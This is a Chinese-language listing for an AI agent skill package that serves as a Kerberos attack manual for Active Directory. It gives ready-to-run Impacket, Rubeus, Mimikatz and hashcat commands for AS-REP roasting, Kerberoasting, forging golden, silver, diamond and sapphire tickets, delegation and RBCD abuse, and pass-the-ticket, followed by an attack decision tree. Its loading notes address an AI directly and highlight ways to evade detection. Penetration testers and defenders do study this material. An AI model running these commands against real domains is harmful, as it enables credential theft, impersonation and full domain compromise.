关于 active-directory-kerberos-attacks
active-directory-kerberos-attacks 是用于评估 Active Directory 环境中 Kerberos 的安全技能,涵盖票据烘焙、伪造、委派滥用和票据认证,并说明攻击类型及前置条件的区别。
主要功能
- 01AS-REP 烘焙与 Kerberoasting
- 02Golden、silver、diamond 和 sapphire 票据
- 03无约束、约束及基于资源的委派
- 04票据传递与哈希转票据
- 05Kerberos 双跳方案
适用场景
- 01评估 AD 环境中的 Kerberos 暴露面
- 02梳理服务票据和 AS-REP 烘焙路径
- 03分析委派配置与攻击链
- 04了解用于横向移动的票据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill active-directory-kerberos-attacks安装后在 Claude Code 中输入/active-directory-kerberos-attacks确认已加载。
附带文件KERBEROS_ATTACK_CHAINS.md
详细介绍
技能:Kerberos 攻击手册 — AD 攻击专家指南
AI 加载说明:适用于 AD 环境的 Kerberos 专家级攻击技术。涵盖 AS-REP 烘焙、Kerberoasting、黄金票据/白银票据/钻石票据/蓝宝石票据、委派攻击、传递票据和哈希传递。基础模型容易忽略票据类型的区别、委派链的细微差异以及规避检测的权衡。
0. 相关路由
深入了解之前,可考虑加载:
- active-directory-acl-abuse,了解常与 Kerberos 攻击结合使用的基于 ACL 的 AD 攻击
- active-directory-certificate-services,了解基于 ADCS 的持久化(黄金证书)
- ntlm-relay-coercion,了解可与 Kerberos 滥用相辅相成的 NTLM 中继攻击
- windows-lateral-movement,在获取票据后了解横向移动
高级参考
遇到以下需求时,也请加载 KERBEROS_ATTACK_CHAINS.md:
- 组合 Kerberos、ACL 滥用、ADCS 和中继的多步骤攻击链
- 从立足点到域管理员的端到端场景
- 链式委派攻击流程
1. Kerberos 身份验证入门
Client KDC (DC) Service
│ │ │
│── AS-REQ ────────→│ │ (1) Request TGT with user creds
│←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash)
│ │ │
│── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket
│←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash)
│ │ │
│── AP-REQ ─────────────────────────────→│ (5) Present TGS to service
│←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional)
2. AS-REP 烘焙
可查询设置了“Do not require Kerberos preauthentication”(不需要 Kerberos 预身份验证)的用户,获取其 AS-REP,而无需知道其密码。
枚举易受攻击的用户
# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
破解 AS-REP 哈希
# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
# John
john asrep.txt --wordlist=rockyou.txt
3. Kerberoasting
任何域用户都可以为配置了 SPN 的账户请求 TGS。TGS 使用服务账户的 NTLM 哈希加密。
请求服务票据
# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt
# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
破解 TGS 哈希
# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg
4. 伪造票据 — 黄金票据、白银票据、钻石票据、蓝宝石票据
黄金票据
使用 krbtgt 哈希伪造 TGT → 冒充任意用户,包括不存在的用户。
# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
前提条件:krbtgt NTLM 哈希(通过 DCSync 或 NTDS.dit 获取) 持久性:有效期持续至 krbtgt 密码更改两次
白银票据
使用服务账户的哈希伪造 TGS → 仅访问特定服务,不与 KDC 交互。
# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
| 目标服务 | SPN 格式 | 使用场景 |
|---|---|---|
| 文件共享 | cifs/host | 访问 SMB 共享 |
| WinRM | http/host | 远程 PowerShell |
| LDAP | ldap/dc | 类似 DCSync 的查询 |
| MSSQL | MSSQLSvc/host:1433 | 访问数据库 |
| Exchange | http/mail.domain.com | 访问邮箱 |
钻石票据
修改合法签发的 TGT → 比黄金票据更难被检测。
# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
优势:票据的元数据(时间戳、加密类型)与真实 TGT 的签发信息相符。
蓝宝石票据
使用 S4U2Self 获取目标用户的真实 PAC,然后将其嵌入伪造票据。
# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
优势:PAC 是从 KDC 获取的真实副本,因此极难检测。
5. 委派攻击
无约束委派
启用了无约束委派的主机会在内存中存储用户 TGT。
# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname
# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap
# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
约束委派(S4U2Proxy)
# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
基于资源的约束委派(RBCD)
需要对目标上的 msDS-AllowedToActOnBehalfOfOtherIdentity 具有写入权限。
# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password
# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password
# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP
# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
6. 传递票据与哈希传递
传递票据
# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi
# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob
哈希传递(密钥传递)
使用 NTLM 哈希请求 Kerberos TGT → 采用纯 Kerberos 身份验证(避免记录 NTLM 日志)。
# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
7. Kerberos 双跳问题
通过 Kerberos 跨两跳(A → B → C)进行身份验证时,默认情况下 B 无法将 A 的凭据转发给 C。
解决方案
| 方法 | 方式 | 风险 |
|---|---|---|
| CredSSP | 将实际凭据发送给 B | 凭据暴露 |
| 在 B 上启用无约束委派 | B 存储 A 的 TGT | 权限过高 |
| 约束委派 | 允许 B 委派到 C | 首选 — 范围受限 |
| RBCD | C 信任 B 进行委派 | 现代、灵活 |
| 嵌套 Invoke-Command | 在嵌套会话中使用 -Credential 参数 | 密码会暴露在脚本中 |
8. Kerberos 攻击决策树
AD environment — targeting Kerberos
│
├── Have domain user creds?
│ ├── Kerberoast → crack service account hashes (§3)
│ ├── Enumerate users without preauth → AS-REP roast (§2)
│ ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│ └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│ ├── Silver ticket for that service (§4)
│ └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│ ├── Golden ticket → any user, any service (§4)
│ ├── Diamond ticket → stealthier forging (§4)
│ └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│ ├── Monitor for incoming TGTs (Rubeus monitor)
│ ├── Coerce DC authentication (PrinterBug/PetitPotam)
│ └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│ └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│ └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
└── Pass-the-Ticket → use directly (§6)